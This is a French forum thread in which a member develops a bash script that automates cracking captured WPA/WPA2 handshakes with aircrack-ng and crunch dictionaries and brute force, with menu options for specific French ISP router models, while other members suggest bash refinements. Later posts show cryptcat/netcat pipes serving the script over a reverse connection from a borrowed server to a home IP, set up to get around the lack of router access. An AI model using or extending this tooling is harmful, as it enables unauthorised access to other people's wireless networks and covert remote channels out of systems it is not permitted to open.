Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 17-08-2016 17:56:40

david_01
Membre
Inscription : 10-07-2016
Messages : 24

Projet script cassage de clef wpa Wpa2

Bonjour à toutes et à tous,
  Recap de mon proget:


outils utilisé:
aircrack-ng
crunch
... et autre si vous pouvez m'aider

  Je voudrais faire un script qui demande à l'utilisateur de rentrer le handshake capturé (.cap) via airmon-ng, la marque de la box en fonction de cela le programme dira les possibilitées qu'il a.
Exemple:

#!/bin/bash

~$ monProget.sh
Etape 1 : Entrez le fichier.cap:
Etape 2 : Entrez le type de la box:

1- Livebox
2-Freebox V5
3-Freebox V6
4-NeufBox V6
5-SFR New
5-SFR old
6-BBOX
7-BBOX old

x1-brute force Hexa
x2-brute force dictionnaire noms courants
x3-chiffre de 0 à 99 99 99 99 99 99

Etape 3 : Entrez e-mail (Si aucun e-mail entré l'enregistrer dans le dossier /var/mail/casse):

Etape 4 : Merci un e-mail sera envoyé des que le déchiffrage effectué sera où dès que le programme aurat terminé son action sans parvenir à déterminer le mot de passe.

# Fin du programme


Donc Voilà le proget wink ,
  A priori rien de bien méchant au niveau du code mais j'aimerais, si possible des conseils. Par exemple si vous voyez des choses que je pourrais améliorer dans mon script (Et je n'en doute pas). Il me manquera aussi des connaissances sur quelles dicos pour telle ou telle box et comment utiliser faire de bon dico nottament pour la livebox. Pour l'instant je n'utilise que des commandes de base de brute force du style aircrack -w /chemin/monDico /chemin/fichier.cap au mieux je le pipe avec crunch mais se n'est pas vraiment bon. Il y aura aussi l'envoie du mail ou je n'ai pas de connaissance spécial sur cela mais cela je verrais plus tard j'ai déja un peu de taf wink .

Merci de m'avoir lu j'espère avoir été clair,

Ps: le script que je vous montrerais aura des commandes comme 'scp, netcat, cryptcat, ncat, nc... ' car en réaliter se script est executé sur un serveur distant et du coup il faudra importer fichier.cap qui sera sur la machine client

Dernière modification par david_01 (17-08-2016 18:03:46)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 17-08-2016 18:05:26

david_01
Membre
Inscription : 10-07-2016
Messages : 24

Re : Projet script cassage de clef wpa Wpa2

MISE A JOUR LE 23/08/2016


#!/bin/bash

# Système d'exploitation : Debian 8.5 version testing



# NOTES:
#
# Chaque dictionnaires dans le dossier dicos doient etre numérotés:
# ex : 1_dicoNoms 2_Chiffres 3_Anglais 4_stars ...



# UNIQUEMENT SI SE SCRIPT EST EXECUTE SUR UN SERVEUR DISTANT (Se qui n'est normalement pas le cas)
# PENSER A :
# Sur la machine clientes: 
#     - Créer l'user anonymous 
#     - Créer le repertoire ~/srvClient1100/teleporteHS 
#



#####################################
############# VARIABLES #############

ipv4="192.168.0.1"
port="22"
nom="anonyme"
handshake="AUCUN"
ESSID="ANCUN"


loca=$(cd -P $(dirname $0); pwd)

# Directories
dirDico="$loca/dicos"
dirHandS="$loca/handshakes"
victoria="$loca/victoria"
defeat="$loca/defeat"

# Files

#####################################
############## FUNTIONS #############

verifie()
{
if [ -z `which $1` ] ; then
  echo 'Installation de $1 en cours ...'
  apt-get install $1 > /dev/null 2>&1
     if [ -z `which $1` ] ; then
	echo "Erreur lors de l'installation de $1"
	exit
     else
	echo "[ok] : Installation"
   fi
fi
}

attaqueWordlists()
{
	totalDicos=$(ls $dirDico/ )
	for dico in $totalDicos
	do
		if [ ! -e $victoria/$handshake.key ] ; then
			aircrack-ng -w $dirDico/$dico $dirHandS/$handshake -l $victoria/$handshake.key
		fi
		if [ ! -e $victoria/$handshake.key ] ; then
			echo "KEY NO FOUND IN : $dico" >> $defeat/$handshake.NOTES
		else
			cp $dirHandS/$handshake $victoria/$handshake.FIND
			rm $dirHandS/$handshake $defeat/$handshake*
			return
		fi
	done
}

attaqueChiffres()
{
	if [ ! -e $victoria/$handshake.key ] ; then
		crunch 1 10 0123456789 | aircrack-ng -e $ESSID -w - $dirHandS/$handshake -l $victoria/$handshake.key
		dico="crunch 1 10 0123456789"
	fi

	if [ ! -e $victoria/$handshake.key ] ; then
		echo "KEY NO FOUND IN : $dico" >> $defeat/$handshake.NOTES
	else
		cp $dirHandS/$handshake $victoria/$handshake.FIND
		rm $dirHandS/$handshake $defeat/$handshake*
		return
	fi
}

attaqueChiffresMin()
{
	if [ ! -e $victoria/$handshake.key ] ; then
		crunch 1 10 0123456789abcdefghijklmnopqrstuvwxyz | aircrack-ng -e $ESSID -w - $dirHandS/$handshake -l $victoria/$handshake.key
		dico="crunch 1 10 0123456789abcdefghijklmnopqrstuvwxyz"
	fi

	if [ ! -e $victoria/$handshake.key ] ; then
		echo "KEY NO FOUND IN : $dico" >> $defeat/$handshake.NOTES
	else
		cp $dirHandS/$handshake $victoria/$handshake.FIND
		rm $dirHandS/$handshake $defeat/$handshake*
		return
	fi
}




#############################################
############ Première installation ##########


verifie airodump-ng
verifie crunch


if [ ! -e $dirHandS ] ; then
	mkdir $dirHandS
	echo "
Mettre tous vos fichier.cap dans se dossier (handshakes) sinon le script risque de chercher longtemps.

 Pour obtenir un 'fichier.cap' 


Conseil:
Pour vous faciliter la vie appelez vos fichier.cap avec le nom de l'Access Point.

Ex: Je cible l'Access Point avec les caractéristiques suivantes:
BSSID : 45:d8:98:aa:78:8c
ESSID : FREEBOX_1547 
Channel : 6
Adresse Mac du clients connecté : 89:78:00:00:d9:18

~# airodump-ng --bssid 45:d8:98:aa:78:8c -c 6 -w FREEBOX_1547 mon0 
" > $dirHandS/NOTE
fi


if [ ! -e $victoria ] ; then
	mkdir $victoria

	echo "
Si le programme trouve le mot passe sera dans se dossier.
" > $victoria/NOTE
fi
if [ ! -e $defeat ] ; then
	mkdir $defeat
	echo "
Quand un fichier.cap à été entièrement testé et que le mot de passe n'a pas été trouvé tous finis ici.
Un fichier de récapitulation si trouveras également. Dans se fichier il y a les actions effectué sur le fichier.cap.
Ex: 
NO KEY FOUND IN : Dictionnaire_1
NO KEY FOUND IN : Dictionnaire_2
NO KEY FOUND IN : crunch 1 10 0123456789

Cela signifie que le mot de passe n'est pas dans Dictionnaire_1 ni dans Dictionnaire_2 et que se n'est pas un chiffre compris entre 0 et 9999999999
" > $defeat/NOTE
fi



#######################################
################ START ################
until [[ $choix == [eE] ]] ; do
PID=$(ps -ef | grep '\(aircrack-ng\|crunch\)' | grep -v grep | awk '{print $2}')
if [ -z $PID ] ; then
	verif="AUCUN"
else
	verif="EN COURS..."
fi 


echo "`clear`
CONFIGURATION:
   I : Importe les 'fichier.cap'

   Hs : Selectionner/Changer le handshake a déchiffrer     Handshake = $handshake
   Es : Selectionner/Changer l'ESSID                       ESSID     = $ESSID
 
ACCESS POINT:
   F1 : Freebox V5
   F2 : Freebox V6

   L1 : Livebox

   N1 : NeufBox V6

   O1 : OLITEC

   S1 : SFR New
   S2 : SFR Old 
                                HANDSHAKE   = $handshake
h = help                        ESSID       = $ESSID                                           
e = exit                        DECHIFFRAGE = $verif
"
echo -n "Choix : " && read choix



########################### CONFIGURATIONS  ########################### 
case $choix in
	[iI])
	clear
	echo -e "Placez le fichier.cap dans le dossier /home/anonyme/srvClient1100/teleporteHS\nSi celui-ci n'existe pas créer le et y placer le fichier.cap ." 
	echo -n "Press for continu" && read
	scp -p $port $nom@$ipv4:/home/anonyme/srvClient1100/teleporteHS/* $loca/
	;;

	[Hh][Ss])
	clear
	listHS=`ls $dirHandS/`
	i=1
	for module in $listHS
	do
		echo "  $i --> $module"
		let "i = $i + 1"
	done


	echo -n "Choisir votre module: " && read choix
	i=0
	for module in $listHS
	do
		let "i = $i +1"
		if [ $i -eq $choix ] ; then
			handshake=$module
			echo $handshake
			break
		fi
	done
	;;
	[Ee][Ss])
	echo -n "Entrer L'ESSID: " && read ESSID
	;;


########################### AccessPoint ########################### 

	[fF]1) 
	echo "Se module est en cours..."
	read
	;;

	[fF]2)
	echo "Se module est en cours..."
	read
	;;

	[lL]1)
	echo "Se module est en cours..."
	read
	;;

	[nN]1) 
	echo "Se module est en cours..."
	read
	;;

	[oO]1)
	clear
	echo -n "Tape OK for start crack: " && read crack
	if [[ "$crack" == [Oo][Kk] ]] ; then

		attaqueWordlists
		attaqueChiffres
		attaqueChiffresMin

		if [ ! -e $victoria/$handshake.key ] ; then
			echo -e "KEY NO FOUND \n" >> $defeat/$handshake.NOTES
		fi
	fi > /dev/null 2>&1 &


	if [[ "$crack" == [Oo][Kk] ]] ; then
		echo -e "Le Déchiffrage est en cours...\n Press ENTER for continue"
		read
	fi
	;;

	[sS]1) 
	echo "Se module est en cours..."
	read
	;;

	[sS]2) 
	echo "Se module est en cours..."
	read
	;;



########################### Options ########################### 
	[hH] |[Hh][Ee][Ll][Pp]) 
	echo "Se module est en cours..."
	read
	;;

	[eE] | [Qq][Uu][Ii][Tt] | [Ee][Xx][Ii][Tt] ) 
	clear
	echo "Good bye and have a good dream"
	break
	;;

	* )
	clear
	echo "Se choix n'existe pas."
	read
	;;
esac
done
exit 0

Dernière modification par david_01 (23-08-2016 20:40:43)

Hors Ligne

#3 17-08-2016 18:26:52

coyotus
Membre Irremplaçable
Lieu : fort fort lointain
Inscription : 05-08-2010
Messages : 884

Re : Projet script cassage de clef wpa Wpa2

Y'a pas déjà un outil du genre qui utilise reaver sur le forum ?

T'a déjà un bout de code à montrer ?


1310812721.gif

Hors Ligne

#4 17-08-2016 18:41:27

david_01
Membre
Inscription : 10-07-2016
Messages : 24

Re : Projet script cassage de clef wpa Wpa2

Script post 2

Dernière modification par david_01 (23-08-2016 20:42:03)

Hors Ligne

#5 17-08-2016 21:46:14

david_01
Membre
Inscription : 10-07-2016
Messages : 24

Re : Projet script cassage de clef wpa Wpa2

Dès que je ferais des modifications je les mettrais dans le poste au dessu

Dernière modification par david_01 (18-08-2016 21:49:47)

Hors Ligne

#6 17-08-2016 22:49:58

Olympe
Membre Hyperactif
Inscription : 19-06-2016
Messages : 47

Re : Projet script cassage de clef wpa Wpa2

Heey smile

L'idée en soi ne me semble pas dénuée d'intérêt, seulement je ne crois pas qu'elle corresponde à un réel besoin du côté de l'utilisateur.

Ce script, selon moi, va te demander un sacré paquet de travail et risque en fin de compte de ne pas être réellement utile, parce que si la démarche est tout aussi simple à effectuer manuellement que de manière automatique, l'automatisation perd de son intérêt.

Sans dire que ce genre de scripts est quasi impossible à réaliser pour de nombreuses raisons (Les dictionnaires sur mesure n'existent quasiment plus, si oui ils font parfois plusieurs dizaines de Téraoctets, et il faut connaître le modèle, le firmware, voire le chipset de la box en question...) et un bruteforce est de toute manière (à quelques exceptions près) sans espoir.

Par contre, ce qui pourrait être extrêmement intéressant à l'usage, c'est une base de donnée listant un grand nombre de dictionnaires, relativement exhaustive et régulièrement mise à jour... Là il y aurait des utilisateurs !

Encore une fois je ne fais qu'exposer mon avis personnel, sache qu'il n'a en aucun cas une valeur universelle. wink

Bon courage,
Amicalement.

PS: pour ton script utilise la balise code, c'est tellement plus joli ! tongue

Dernière modification par Olympe (17-08-2016 22:52:52)


“Il n'y a que deux voies pour parvenir à la connaissance d'une machine ; l'une, que le maître qui l'a composée nous en découvre l'artifice ; l'autre de démonter jusqu'aux moindres ressorts, et les examiner tous séparément, et ensemble.” -- Nicolas Sténon, 1669

Hors Ligne

#7 18-08-2016 17:41:02

david_01
Membre
Inscription : 10-07-2016
Messages : 24

Re : Projet script cassage de clef wpa Wpa2

L'Idée de référencer les dicos serait pas mal en effet mais je n'ai rien de cela je dois avoir 5 dicos max plus ceux présent dans kali mais dans tous les cas j'aimerais les utiliser au minimum. En effet je voudrais utiliser au maximum crunch ou meme crisis (si un jour j'arrive à le lancer wink  ).
 
  Et si je veux faire se script c'est en faîte que j'ai un accès à un serveur (Prêté le temps de ma formation). Et je le vois il s'ennui de ne rien faire, du coup si je peux éviter de faire travailler mon processeur qui travail lui déjà pas mal.

  Se script me permettra aussi d'avoir toutes les connaissances que je n'ai pas dans le brute force et c'est pour cela que je vous demande votre aide ou même des infos.

  Et enfin c'est la première fois que je mets un script en ligne se qui peut permettre d'échanger des idées sur la façon de faire, d'optimiser...


Pour terminer voila comment je voudrais procéder:
Imaginons qu'un utilisateur utilise l'option "O1" soit Olitec
je sais que le brute force peut fonctionner dans je lance
1 - tous mes dicos communs
2 - crunch avec des chiffres de 0 99 99 99 99 99
3 - dicos noms
4- dicos noms + crunch 0-100

(Et si vous savez comment amélirer les actions ci-dessus je suis tout ouîe )

Et si cela ne marche pas un petit mail

Et pourquoi pas prendre un autre fichier.cap et recommancer l'opération automatiquement.
PS: Il faudrais aussi que je géres la gestion des processeurs en journée sinon ça risque de râler un peu wink mais ça aussi je verrais ça plus tard. Au pire je mettrais des horaires.

Bon c'est vrais aussi qu'en se moment j'ai un peu de temps mais ça risque de ne pas durée mais au pire plus je vais loin plus j'apprends donc vamos wink

Dernière modification par david_01 (18-08-2016 17:45:18)

Hors Ligne

#8 18-08-2016 21:44:36

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Projet script cassage de clef wpa Wpa2

Sur la façon de faire, l'important c'est d'arriver à bon port.
A mon humble avis les petits détails que tu peux paufiner c'est  la boucle "while 1 eq 1"  que tu devrais  enlever et la sortie un peu plus "clean"
Autre opinion  je crois qu'un script est plus intuitif et rapide à l'usage  en proposant des chiffres pour la variable choix
1. Livebox
2. Freebox etc...
 
  Pour ce qui est de peaufiner la boucle et les sorties, une idée c'est faire ainsi (j¡ai annoté les changements

until  [ "$CHOIX" == "e" ];               #      On définit la condition du boucle sur le fait d'entrer "e" dans le menu
    do
       clear 
       echo "le menu"
       read -ep " Entrez vôtre choix:  " choix          #    suppression du && pour optimisation 
case $choix in
#    tes conditions case in en modifiant celle sur "e" (exit) et en laissant la fin ainsi
# (....)
	[eE]) 
	clear
	echo "Good bye and have a good dream"
#	break                   #   break désactivé. le script ne reviendra pas en début de cette boucle vu que choix = e
	;;

	* )
	clear
	echo "Se choix n'existe pas."
	read
	;;
esac
done
exit 0       #   sortie en état 0 (pas d'erreur)
 

       
     Salut ! smile

Hors Ligne

#9 18-08-2016 21:52:41

david_01
Membre
Inscription : 10-07-2016
Messages : 24

Re : Projet script cassage de clef wpa Wpa2

Merci pour ton retour je regarde cela de suite

Hors Ligne

#10 18-08-2016 22:15:44

david_01
Membre
Inscription : 10-07-2016
Messages : 24

Re : Projet script cassage de clef wpa Wpa2

Effectivement until est bien mieux merci

Pour le l'optimisation du "read -ep" je ne peux pas car mon serveur est fait avec les commandes suivantes:

coté serveur:

 ~# cryptcat -l -p 12000 < tube | /bin/monScriptServeur > tube 2>&1 

coté client:

 ~# cryptcat 192.168.0.2(IP du serveur) 12000(port) 

du coup la commande read -p 'Salut' salut ne me renvoie qu'un read sans le "Salut" voilà le pourquoi du echo -n avant wink
Ps: Je vais voir ensuite si je ne peux pas plutôt faire un tunnel ssh mais je verrais ça plus tard

Dernière modification par david_01 (18-08-2016 22:16:19)

Hors Ligne

#11 19-08-2016 17:47:45

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Projet script cassage de clef wpa Wpa2

J'aime bien ton pipe avec "double redirection en sens opposé" (pour l'appeler d'une façon) pour lancer le script côté serveur. big_smile   
  J'ai un peu du mal à comprendre pourquoi la commande read -p ne passe pas mais ce n'est qu'une simplification qui revient au même que faire un echo + read.
  Bien vu l¡'emploi de which pour vérifier les dépendances, c'est une commande qu'on emploie pas forcément beaucoup et qui peut être bien pratique.
  Je crois que tu aurais intérêt à commencer à "fonctionnaliser" ton script pour qu'il gagne en clarté parce que petit à petit ça commence à faire des lignes.
  A +

Hors Ligne

#12 19-08-2016 21:01:11

MiscL
Membre Indétronable
Lieu : BE
Inscription : 10-06-2016
Messages : 157

Re : Projet script cassage de clef wpa Wpa2

kcdtv a écrit :

  Je crois que tu aurais intérêt à commencer à "fonctionnaliser" ton script pour qu'il gagne en clarté parce que petit à petit ça commence à faire des lignes.
  A +

Je valide!! De bonnes idées, mais reste clair ^^
Et quand ça tourne, j'ai un serveur (8x146 15k/m - 32gb Ram) dispo pour tester le tout big_smile


--|--   MiscL   --|--
- Accept No Limit -

Hors Ligne

#13 22-08-2016 20:04:53

david_01
Membre
Inscription : 10-07-2016
Messages : 24

Re : Projet script cassage de clef wpa Wpa2

Pas de problème pour le serveur, je vais voir si je ne peux pas faire un compte sur sourceforge parce que niveau fichiers il y en a qu'elle que un wink. Il faudra aussi que je commente tous ça ou au moins faire un readme. En tous cas ça plaisir de voir qu'il y a des motivés.

Pour la double redirection ce n'est pas de moi, peut-être un jour j'aurais le talent ^^. Par contre en réalité la commande n'est pas réellement comme ça sur mon serveur.
Le problème de la commande ci-dessu est qu'elle oblige a ouvrir un port sur la box ou à se connecter en local. Or il ne m'ont pas laissé l'accès au routeur (Étrange wink ). Du coup j'ai inversé la commande, le serveur devient client et se connecte à la box de chez moi ou je peux administrer.
Serveur:

~# cryptcat 1.2.3.4 443 < tube | /bin/monScriptServeur > tube 2>&1 

Client:

~# cryptcat -l -p 443 

Mais ^^ de cette façon le serveur essaye de se connecter en permanence au client, se qui n'est pas très propre du coup j'ai mit un système d'horaire.

Hors Ligne

#14 22-08-2016 20:12:03

david_01
Membre
Inscription : 10-07-2016
Messages : 24

Re : Projet script cassage de clef wpa Wpa2

Ps : Je pense que vais changer la commande cryptcat par ncat + tunnel reverse ssh

Dernière modification par david_01 (22-08-2016 20:20:34)

Hors Ligne

#15 22-08-2016 20:19:54

david_01
Membre
Inscription : 10-07-2016
Messages : 24

Re : Projet script cassage de clef wpa Wpa2

Et est-que je pourrais avoir un exemple pour "fonctionnalisé" le script
L'idée est utiliser la commande function et faire un appel où mettre chaque fonctions du programme dans un script différent et ensuite les appéler au moment venu?

Hors Ligne

#16 23-08-2016 07:22:21

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Projet script cassage de clef wpa Wpa2

Bonjour
Les fonctions se déclarent dans le script avant de de s'invoquer
par example

verfi()                  # une fonction se déclare avec le nom qu'on choisi suivit de ()
{                                      # simbole pur l'ouverture du crops de la focntion
if [ -z `which aircrack-ng` ] ; then
  echo 'Installation de aircrack-ng en cours ...'
  apt-get install aircrack-ng > /dev/null 2>&1
     if [ -z `which aircrack-ng` ] ; then
	echo "Erreur lors de l'installation"
	exit
     else
	echo "[ok] : Installation"
   fi
fi

if [ -z `which crunch` ] ; then
  echo 'Installation de crunch en cours ...'
  apt-get install crunch > /dev/null 2>&1
     if [ -z `which crunch` ] ; then
	echo "Erreur lors de l'installation"
	exit
	else
	echo "[ok] : Installation"
    fi
fi

}           # simbole pour la fermeture
verif     #  on exécute

et pour l’exécuter il te suffit de l'invoquer

verif

Dans ton cas precis ce n'est pas encore vraiment nécessaire vu la taille du code même si tu as en quelques  sorte
rangé ton script comme si il avait des fonctions
au leiu de

##############verif######################

et de mettre le code, tu pourrais faire une fonction et invoquer la fonction

En fait c'est la même chose qu'une variable mais une fonction contient (peut contenir) plusieurs lignes de codes... un script dans le script.
Et elle doit se déclarer et s'éxécuter dans le script, il n'y a pas de règles pour bash, la seule chose c'est de la déclarer avant de l'exécuter
Ceci dit par convention tu verras que dans les scripts bash elle se rédigent après las variables d’environnements.
https://fr.wikibooks.org/wiki/Programma … /Fonctions

Dernière modification par kcdtv (23-08-2016 07:23:25)

Hors Ligne

#17 23-08-2016 11:09:32

david_01
Membre
Inscription : 10-07-2016
Messages : 24

Re : Projet script cassage de clef wpa Wpa2

Quelque chose comme ça ne serait pas mieux?

#!/bin/bash

### FUNCTIONS ###

verifie()
{
if [ -z `which $1` ] ; then
  echo 'Installation de $1 en cours ...'
  apt-get install $1 > /dev/null 2>&1
     if [ -z `which $1` ] ; then
	echo "Erreur lors de l'installation de $1"
	exit
     else
	echo "[ok] : Installation"
   fi
fi
}


### Début du script ###

verifie airodump-ng
verifie crunch

Dernière modification par david_01 (23-08-2016 11:14:13)

Hors Ligne

#18 23-08-2016 12:38:54

coyotus
Membre Irremplaçable
Lieu : fort fort lointain
Inscription : 05-08-2010
Messages : 884

Re : Projet script cassage de clef wpa Wpa2

plus simple:

for app in app1 app2 app3 ; do
  which "$app" >/dev/null || apt-get install "$app"
done

1310812721.gif

Hors Ligne

#19 23-08-2016 19:23:11

david_01
Membre
Inscription : 10-07-2016
Messages : 24

Re : Projet script cassage de clef wpa Wpa2

Effectivement ça fait des lignes en moins wink

j'aime bien se code que je l'utiliserais je pense avec les variables app1 app2 app3 dans une seul

programs="crunch aircrack-ng"
for app in $programs ; do
...
done

Mais pour l'instant je vais rester comme ça, je trouve le code plus simple à comprendre dans un premier temps.

Dernière modification par david_01 (23-08-2016 19:50:23)

Hors Ligne

#20 05-09-2016 17:32:03

david_01
Membre
Inscription : 10-07-2016
Messages : 24

Re : Projet script cassage de clef wpa Wpa2

Bonjour, tous le monde
Donc juste un petit message pour dire qu'en se moment je n'ai pas trop le temps de travailler sur le projet, j'éspère pouvoir m'y remettre le plus top possible. wink

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
12 204 Hier 22:42:30 par Morpheus_Dotcom
0 137 29-11-2016 17:01:17 par ryujin
106 2200 28-11-2016 19:42:10 par koala
5 160 22-11-2016 18:48:09 par koala
10 439 11-11-2016 22:11:03 par koala

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.031 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]